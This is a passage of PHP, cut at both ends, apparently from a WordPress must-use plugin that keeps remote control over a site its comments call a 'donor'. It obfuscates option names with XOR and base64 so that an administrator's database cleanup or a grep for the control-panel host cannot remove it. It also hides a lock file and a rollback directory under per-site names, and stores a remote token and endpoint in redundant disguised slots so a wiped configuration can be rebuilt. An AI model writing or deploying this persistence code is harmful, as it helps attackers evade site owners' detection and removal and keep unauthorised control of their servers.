` // option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE // '_%'` (or a grep for the panel host) no longer severs the donor. // Standalone: needs no main-plugin code. // --------------------------------------------------------------------------- if (!defined('WPRC_SALT')) define('WPRC_SALT', 'w9x2r7k5'); if (!function_exists('wprc_seed')) { function wprc_seed() { $db = defined('DB_NAME') ? (string) DB_NAME : ''; $abs = defined('ABSPATH') ? (string) ABSPATH : ''; return $db . '|' . $abs; } } if (!function_exists('wprc_optname')) { function wprc_optname($logical) { return 'wp_' . substr(hash('sha256', WPRC_SALT . '|n|' . $logical . '|' . wprc_seed()), 0, 24); } } if (!function_exists('wprc_deobf')) { function wprc_deobf($b64) { $raw = base64_decode((string) $b64, true); if ($raw === false) return ''; $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($raw); $i < $n; $i++) { $out .= chr(ord($raw[$i]) ^ ord($key[$i % $kl])); } return $out; } } if (!function_exists('wprc_obf')) { function wprc_obf($plain) { $key = hash('sha256', WPRC_SALT . '|k|' . wprc_seed(), true); $out = ''; $kl = strlen($key); for ($i = 0, $n = strlen($plain); $i < $n; $i++) { $out .= chr(ord($plain[$i]) ^ ord($key[$i % $kl])); } return base64_encode($out); } } if (!function_exists('wprc_cfg')) { /** @return array{t:string,e:string,d:string} */ function wprc_cfg() { foreach (array('c0', 'c1') as $slot) { $raw = get_option(wprc_optname($slot), ''); if ($raw !== '') { $j = json_decode(wprc_deobf($raw), true); if (is_array($j) && !empty($j['t'])) { return array('t' => (string) $j['t'], 'e' => (string) (isset($j['e']) ? $j['e'] : ''), 'd' => (string) (isset($j['d']) ? $j['d'] : '')); } } } // Legacy fallback (read-only; migration + cleanup is the main plugin's job). $p = wprc_p(); $t = (string) get_option($p . '_key', ''); if ($t !== '') { return array('t' => $t, 'e' => (string) get_option($p . '_cdn', ''), 'd' => (string) get_option($p . '_origin', '')); } return array('t' => '', 'e' => '', 'd' => ''); } } if (!function_exists('wprc_store_cfg')) { // Writes BOTH disguised slots, byte-compatible with the main plugin's vault // store — used after a fallback re-claim rebuilds a wiped config. function wprc_store_cfg($token, $endpoint, $domain) { $blob = wprc_obf(json_encode(array('t' => (string) $token, 'e' => (string) $endpoint, 'd' => (string) $domain))); update_option(wprc_optname('c0'), $blob, false); update_option(wprc_optname('c1'), $blob, false); } } // Disguised per-site names for the heal-throttle state + single-flight lock. if (!function_exists('wprc_healts_opt')) { function wprc_healts_opt() { return wprc_optname('ht'); } function wprc_healerr_opt() { return wprc_optname('he'); } function wprc_healreason_opt() { return wprc_optname('hr'); } function wprc_lock_path() { return rtrim(WP_CONTENT_DIR, '/') . '/.' . substr(hash('sha256', WPRC_SALT . '|lk|' . wprc_seed()), 0, 16); } } if (!function_exists('wprc_plugin_dir')) { function wprc_plugin_dir() { $base = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : rtrim(WP_CONTENT_DIR, '/') . '/plugins'; return rtrim($base, '/') . '/' . WPRC_SLUG; } } if (!function_exists('wprc_prev_dir')) { // Retained last-known-good build for the signed rollback op. Name derives // from the same seed pool as the mu-filenames (per-site, no marker // substring); exactly ONE previous build is kept. function wprc_prev_dir() { return rtrim(WP_CONTENT_DIR, '/') . '/wp-' . substr(hash('sha256', WPRC_SALT . '|pv|' . wprc_seed()), 0, 12) . '-prev'; } } if (!function_exists('wprc_main_present')) { function wprc_main_present() { return is_file(wprc_plugin_dir() . '/' . WPRC_SLUG . '.php'); } } if (!functi